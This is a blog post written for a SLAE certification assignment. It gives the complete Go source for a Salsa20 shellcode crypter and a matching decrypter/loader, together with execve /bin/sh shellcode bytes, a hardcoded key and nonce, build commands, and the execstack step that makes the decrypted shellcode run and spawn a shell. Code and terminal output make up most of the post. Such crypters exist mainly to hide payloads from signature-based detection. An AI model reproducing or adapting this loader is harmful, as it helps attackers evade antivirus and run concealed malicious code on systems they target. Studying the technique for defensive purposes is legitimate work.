Creating a custom shellcode crypter

For this last SLAE assignment, I’ve created a custom shellcode crypter using the Salsa20 stream cipher. Salsa20 is a family of 256-bit stream ciphers designed in 2005 and submitted to eSTREAM, the ECRYPT Stream Cipher Project.

I wanted to learn the basics of Golang for some time so this was a good opportunity to try a new programming language. The crypter and decrypter are both written in Go and use the offical sub-repository crypto packages. I also used the Cgo and unsafe packages so that I could get around the type safety of the Go programming language and call the shellcode once it has been decrypted.

For demonstration purposes, we will use the standard execve shellcode that executes /bin/sh:

slemire@slae:~/slae32/examples/Shellcode/Execve$ ../../../ execve
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Shellcode: \xeb\x1a\x5e\x31\xdb\x88\x5e\x07\x89\x76\x08\x89\x5e\x0c\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\x31\xc0\xb0\x0b\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43
[+] Length: 49
[+] Done!


The crypter uses the following input:

  • Shellcode
  • 24 bytes nonce (generated randomly)
  • 32 bytes key (generated randomly)

If the resulting encrypted shellcode contains any null-byte, a warning is displayed.

The crypter code is shown below:

package main

import "fmt"
import "os"
import "crypto/rand"
import ""

func main() {
    fmt.Printf("Shellcode code crypter\n")

    // execve shellcode /bin/sh
    in := []byte {
            0xeb, 0x1a, 0x5e, 0x31, 0xdb, 0x88, 0x5e, 0x07,
            0x89, 0x76, 0x08, 0x89, 0x5e, 0x0c, 0x8d, 0x1e,
            0x8d, 0x4e, 0x08, 0x8d, 0x56, 0x0c, 0x31, 0xc0,
            0xb0, 0x0b, 0xcd, 0x80, 0xe8, 0xe1, 0xff, 0xff,
            0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68,
            0x41, 0x42, 0x42, 0x42, 0x42, 0x43, 0x43, 0x43,
            0x43 }

    out := make([]byte, len(in))

    // Generate a random 24 bytes nonce
    nonce := make([]byte, 24)
    if _, err := rand.Read(nonce); err != nil {

    // Generate a random 32 bytes key
    key_slice := make([]byte, 32)
    if _, err := rand.Read(key_slice); err != nil {
    var key [32]byte
    copy(key[:], key_slice[:])

    fmt.Printf("Key len: %d bytes\n", len(key))

    fmt.Printf("Key: ")
    for _, element := range key {
        fmt.Printf("%#x,", element)

    fmt.Printf("Nonce: ")
    for _, element := range nonce {
        fmt.Printf("%#x,", element)

    fmt.Printf("Original shellcode: ")

    for _, element := range in {
            fmt.Printf("%#x,", element)
    salsa20.XORKeyStream(out, in, nonce, &key)

    fmt.Printf("Encrypted shellcode: ")
    for _, element := range out {
        fmt.Printf("%#x,", element)

    for _, element := range out {
        if element == 0 {
            fmt.Printf("WARNING null byte detected\n")


To decrypt the shellcode, the same salsa20.XORKeyStream function is called using the original nonce and key.

The decrypter code is shown below:

package main

void call_shellcode(char *code) {
        int (*ret)() = (int(*)())code;
import "C"
import "fmt"
import "unsafe"
import ""

func main() {
    fmt.Printf("Shellcode code decrypter\n")

    // Paste encrypted shellcode here
    in := []byte { 0x79,0x46,0x15,0x27,0xa6,0xdb,0xbc,0x5,0x84,0x97,0x83,0x7c,0x4f,0xed,0x81,0xd,0xf,0x93,0x8e,0x7c,0xd3,0xa5,0x74,0x99,0xaa,0xcd,0xbe,0xd0,0x49,0x54,0xce,0x9d,0xe7,0x4a,0x64,0x95,0xc3,0x83,0xb8,0x58,0x4a,0xe4,0x87,0x49,0xb3,0x6e,0x6a,0x32,0x76 }

    out := make([]byte, len(in))

    // Paste nonce here
    nonce := []byte { 0xc6,0x2f,0xb2,0xd1,0x94,0x7b,0x47,0xa6,0x51,0x5d,0x57,0xfb,0x8a,0x2c,0x3e,0x7f,0x43,0x5a,0xfc,0xbb,0x24,0x4d,0xc7,0xbc }

    // Paste key here
    key := [32]byte { 0x24,0x90,0xef,0x80,0x66,0xee,0xda,0x52,0xfa,0xb9,0x8,0x37,0x3f,0x8e,0x1c,0x3b,0x0,0xec,0x7,0x19,0x5a,0x1f,0x94,0xe7,0x2e,0xdf,0xee,0x8d,0x9,0x63,0xe4,0xb5 }

    salsa20.XORKeyStream(out, in, nonce, &key)

    fmt.Printf("Decrypted shellcode: ")
    for _, element := range out {
        fmt.Printf("%#x,", element)
    fmt.Printf("Shellcode length: %d\n", len(out))
    fmt.Printf("Executing shellcode...\n")

Using the crypter

To compile the crypter and test it, we execute the command go build -o crypter crypter.go && ./crypter

slemire@slae:~/slae32/assignment7$ go build -o crypter crypter.go && ./crypter
Shellcode code crypter
Key len: 32 bytes
Key: 0x24,0x90,0xef,0x80,0x66,0xee,0xda,0x52,0xfa,0xb9,0x8,0x37,0x3f,0x8e,0x1c,0x3b,0x0,0xec,0x7,0x19,0x5a,0x1f,0x94,0xe7,0x2e,0xdf,0xee,0x8d,0x9,0x63,0xe4,0xb5,
Nonce: 0xc6,0x2f,0xb2,0xd1,0x94,0x7b,0x47,0xa6,0x51,0x5d,0x57,0xfb,0x8a,0x2c,0x3e,0x7f,0x43,0x5a,0xfc,0xbb,0x24,0x4d,0xc7,0xbc,
Original shellcode: 0xeb,0x1a,0x5e,0x31,0xdb,0x88,0x5e,0x7,0x89,0x76,0x8,0x89,0x5e,0xc,0x8d,0x1e,0x8d,0x4e,0x8,0x8d,0x56,0xc,0x31,0xc0,0xb0,0xb,0xcd,0x80,0xe8,0xe1,0xff,0xff,0xff,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x41,0x42,0x42,0x42,0x42,0x43,0x43,0x43,0x43,
Encrypted shellcode: 0x79,0x46,0x15,0x27,0xa6,0xdb,0xbc,0x5,0x84,0x97,0x83,0x7c,0x4f,0xed,0x81,0xd,0xf,0x93,0x8e,0x7c,0xd3,0xa5,0x74,0x99,0xaa,0xcd,0xbe,0xd0,0x49,0x54,0xce,0x9d,0xe7,0x4a,0x64,0x95,0xc3,0x83,0xb8,0x58,0x4a,0xe4,0x87,0x49,0xb3,0x6e,0x6a,0x32,0x76,

Next, the key, nonce and encrypted shellcode are copy/pasted into the decrypter.go source file.

Compiling the decrypter uses: go build -o decrypter decrypter.go. There is however another step that needs to be executed after for the shellcode to work. By default (in newer Golang versions at least), the stack memory space is not marked executable so our shellcode won’t work since it resides on the stack:

The output below shows the decrypter segfaulting when we execute it:

slemire@slae:~/slae32/assignment7$ ./decrypter 
fatal error: unexpected signal during runtime execution
[signal SIGSEGV: segmentation violation code=0x2 addr=0x841e100 pc=0x841e100]

runtime stack:
runtime.throw(0x80ea75c, 0x2a)
        /usr/local/go/src/runtime/panic.go:608 +0x6a
        /usr/local/go/src/runtime/signal_unix.go:374 +0x239

goroutine 1 [syscall]:
runtime.cgocall(0x80bf970, 0x842a718, 0x0)
        /usr/local/go/src/runtime/cgocall.go:128 +0x6e fp=0x842a704 sp=0x842a6ec pc=0x804afee
        _cgo_gotypes.go:43 +0x33 fp=0x842a718 sp=0x842a704 pc=0x80bf613
        /home/slemire/slae32/assignment7/decrypter.go:37 +0x2a1 fp=0x842a7d0 sp=0x842a718 pc=0x80bf8f1
        /usr/local/go/src/runtime/proc.go:201 +0x206 fp=0x842a7f0 sp=0x842a7d0 pc=0x806cf76
        /usr/local/go/src/runtime/asm_386.s:1324 +0x1 fp=0x842a7f4 sp=0x842a7f0 pc=0x80908f1

To resolve this problem we can make the stack executable again by using the execstack tool as follows. The shellcode is successfully decrypted and executed, spawning /bin/sh.

slemire@slae:~/slae32/assignment7$ execstack -s decrypter
slemire@slae:~/slae32/assignment7$ ./decrypter 
Shellcode code decrypter
Decrypted shellcode: 0xeb,0x1a,0x5e,0x31,0xdb,0x88,0x5e,0x7,0x89,0x76,0x8,0x89,0x5e,0xc,0x8d,0x1e,0x8d,0x4e,0x8,0x8d,0x56,0xc,0x31,0xc0,0xb0,0xb,0xcd,0x80,0xe8,0xe1,0xff,0xff,0xff,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x41,0x42,0x42,0x42,0x42,0x43,0x43,0x43,0x43,
Shellcode length: 49
Executing shellcode...
$ id
uid=1000(slemire) gid=1000(slemire) groups=1000(slemire),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID: SLAE-1236

All source files can be found on GitHub at